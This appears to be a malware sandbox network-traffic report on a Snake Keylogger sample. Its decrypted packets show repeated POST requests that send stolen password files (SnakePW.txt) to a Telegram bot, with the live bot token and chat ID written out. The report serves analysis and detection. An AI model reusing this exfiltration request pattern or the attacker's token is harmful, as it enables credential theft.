Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
85	192.168.2.5	49925	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
86	192.168.2.5	49928	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
87	192.168.2.5	49931	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
88	192.168.2.5	49934	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
89	192.168.2.5	49936	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49777	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
90	192.168.2.5	49937	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
91	192.168.2.5	49938	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
92	192.168.2.5	49939	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
93	192.168.2.5	49940	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
94	192.168.2.5	49941	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
95	192.168.2.5	49942	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
96	192.168.2.5	49943	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
97	192.168.2.5	49944	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
98	192.168.2.5	49945	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
99	192.168.2.5	49946	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49759	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:25 UTC	0	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756c77a0974 Host: api.telegram.org Content-Length: 504 Connection: Keep-Alive
2022-06-26 07:32:25 UTC	0	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 63 37 37 61 30 39 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756c77a0974Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:25 UTC	0	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:25 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:25 UTC	1	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 34 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 34 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66746,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228745,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49769	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:38 UTC	1	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d450ded5 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:38 UTC	2	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 34 35 30 64 65 64 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d450ded5Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:39 UTC	2	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:39 GMT Content-Type: application/json Content-Length: 509 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:39 UTC	2	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 35 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66747,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228758,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49778	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:32:42 UTC	16	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756d69dc2b3 Host: api.telegram.org Content-Length: 504
2022-06-26 07:32:42 UTC	17	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 64 36 39 64 63 32 62 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756d69dc2b3Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:32:42 UTC	17	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:32:42 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:32:42 UTC	18	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 37 35 36 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 37 36 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66756,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228762,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
100	192.168.2.5	49947	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:21 UTC	168	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756edd5834d Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:21 UTC	169	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 64 64 35 38 33 34 64 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756edd5834dContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:21 UTC	169	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:21 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:21 UTC	170	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 35 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66859,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228801,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
101	192.168.2.5	49948	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:21 UTC	170	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ee09fa00 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:21 UTC	170	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 65 30 39 66 61 30 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ee09fa00Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:21 UTC	171	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:21 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:21 UTC	171	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 36 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 31 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66860,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228801,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
102	192.168.2.5	49949	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:22 UTC	172	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ee4f1b35 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:22 UTC	172	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 65 34 66 31 62 33 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ee4f1b35Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:22 UTC	173	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:22 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:22 UTC	173	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 38 36 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 30 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66861,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228802,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
103	192.168.2.5	49950	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:22 UTC	173	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5756ee838fab Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:22 UTC	174	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 36 65 65 38 33 38 66 61 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5756ee838fabContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:22 UTC	174	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:22 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
